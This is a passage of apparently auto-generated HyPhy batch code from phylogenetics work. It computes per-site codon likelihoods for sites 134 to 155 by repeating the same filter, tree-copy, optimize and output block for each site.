134\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"134\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 135...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"402,403,404\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 135\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"135\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 136...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"405,406,407\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 136\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"136\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 137...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"408,409,410\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 137\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"137\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 138...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"411,412,413\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 138\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"138\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 139...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"414,415,416\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 139\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"139\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 140...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"417,418,419\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 140\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"140\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 141...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"420,421,422\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 141\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"141\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 142...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"423,424,425\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 142\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"142\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 143...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"426,427,428\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 143\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"143\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 144...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"429,430,431\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 144\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"144\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 145...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"432,433,434\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 145\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"145\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 146...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"435,436,437\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 146\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"146\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 147...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"438,439,440\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 147\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"147\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 148...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"441,442,443\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 148\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"148\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 149...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"444,445,446\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 149\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"149\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 150...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"447,448,449\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 150\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"150\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 151...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"450,451,452\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 151\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"151\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 152...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"453,454,455\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 152\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"152\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 153...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"456,457,458\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 153\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"153\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 154...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"459,460,461\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 154\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + branchname + \".t := \" + Format(branchlength, 0, 30) + \";\");\n}\nfor (itip=0; itip<TipCount(tree); itip=itip+1) {\n  tipname = TipName(tree, itip);\n  ExecuteCommands(\"tiplength = tree.\" + tipname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + tipname + \".t := \" + Format(tiplength, 0, 30) + \";\");\n}\nLikelihoodFunction sitelikelihood = (sitecodonfilter, sitetree);\nOptimize(sitemlestimates, sitelikelihood);\nassert(sitemlestimates[1][1] == 0, \"Found a variable optimized. Either a model or branch parameter must have not been fixed\");\nfprintf(persitelikelihoods, \"154\\t\", sitemlestimates[1][0], \"\\n\");\nfprintf(stdout, \"\\nComputing likelihood for site 155...\\n\");\nDataSetFilter sitecodonfilter = CreateFilter(data, 3, \"462,463,464\", \"\", \"TAA,TAG,TGA\");\nassert(sitecodonfilter.sites == 1, \"Codon filtered data does not have one site for 155\");\nCheckCodonFilter(\"sitecodonfilter\");\nUseModel(model);\nExecuteCommands(\"Tree sitetree = treestring;\");\nassert(sitecodonfilter.species == TipCount(sitetree), \"Number of species and number of tips differ\");\nassert(TipCount(tree) == TipCount(sitetree), \"Number of tips differ\");\nfor (ibranch=0; ibranch<BranchCount(tree); ibranch=ibranch+1) {\n  branchname = BranchName(tree, ibranch);\n  ExecuteCommands(\"branchlength = tree.\" + branchname + \".t;\");\n  ExecuteCommands(\"sitetree.\" + 